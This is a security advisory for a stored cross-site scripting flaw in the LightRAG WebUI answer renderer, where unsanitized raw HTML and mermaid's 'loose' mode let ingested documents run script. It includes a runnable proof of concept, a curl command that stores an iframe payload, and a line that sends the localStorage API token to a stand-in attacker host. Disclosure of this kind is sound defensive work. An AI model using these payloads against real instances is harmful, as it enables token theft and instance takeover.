CVE-2026-86062: lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content
Summary The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform.
Published Sep 22, 2026
Affected packages
lightrag-hku
- Ecosystem
- PyPI
- Affected
- <= 1.5.4
- Fixed in
- 1.5.5
- Check
pip show lightrag-hku
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.
Details
Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:
- Main answer (
MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render withrehypePlugins={[rehypeRaw, …]}andskipHtml={false}. Thecomponentsmap (lines ~111-156) only restyles safe formatting tags (p,h1–h4,ul,ol,li,code); there is norehype-sanitize, noallowedElements/disallowedElements, and no customurlTransform. - Second sink: mermaid is initialized with
securityLevel: 'loose'(line ~433) and the rendered SVG is injected viacontainer.innerHTML = svg(line ~483) +bindFunctions(container).'loose'disables mermaid's output sanitization, so a`mermaidblock in answer content (HTML label /clickdirective) is an additional script-execution path. - Hardening (not code execution): KaTeX is set with
trust: true(lines ~261/~359).\href{javascript:…}is blocked by React 19, but\includegraphics{URL}renders a live remote `(arbitrary external resource load from the victim's browser). Recommendtrust: false`.
Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.
react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so ` is dropped), but raw elements such as and ` are rendered unchanged and execute.
PoC
Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, [email protected], [email protected].
Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.
Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:
mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
# msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"poc.mjs:
import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';
// Stands in for an assistant answer built from an ingested document.
const answer =
`<iframe srcdoc="<script>` +
`var h=parent.document.createElement('h1');h.style.color='red';` +
`h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
`parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
`<\/script>"></iframe>`;
// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body); // note the LIVE <iframe srcDoc="..."> — not HTML-escapedObserved (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; ` and javascript: links are neutralized by React / react-markdown, so ` is the reliable vector.)
Illustrative end-to-end source path (in a live instance):
curl -X POST http://127.0.0.1:9621/documents/text \
-H 'Content-Type: application/json' \
-d '{"text":"<iframe srcdoc=\"<script>document.title=document.domain</script>\"></iframe>","file_source":"note.md"}'Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.
Impact
Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.
Credited to YashvantHange.
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr
- https://nvd.nist.gov/vuln/detail/CVE-2026-86062
- https://github.com/HKUDS/LightRAG/pull/3437
- https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
- https://github.com/advisories/GHSA-xpjq-3w4w-w5wr
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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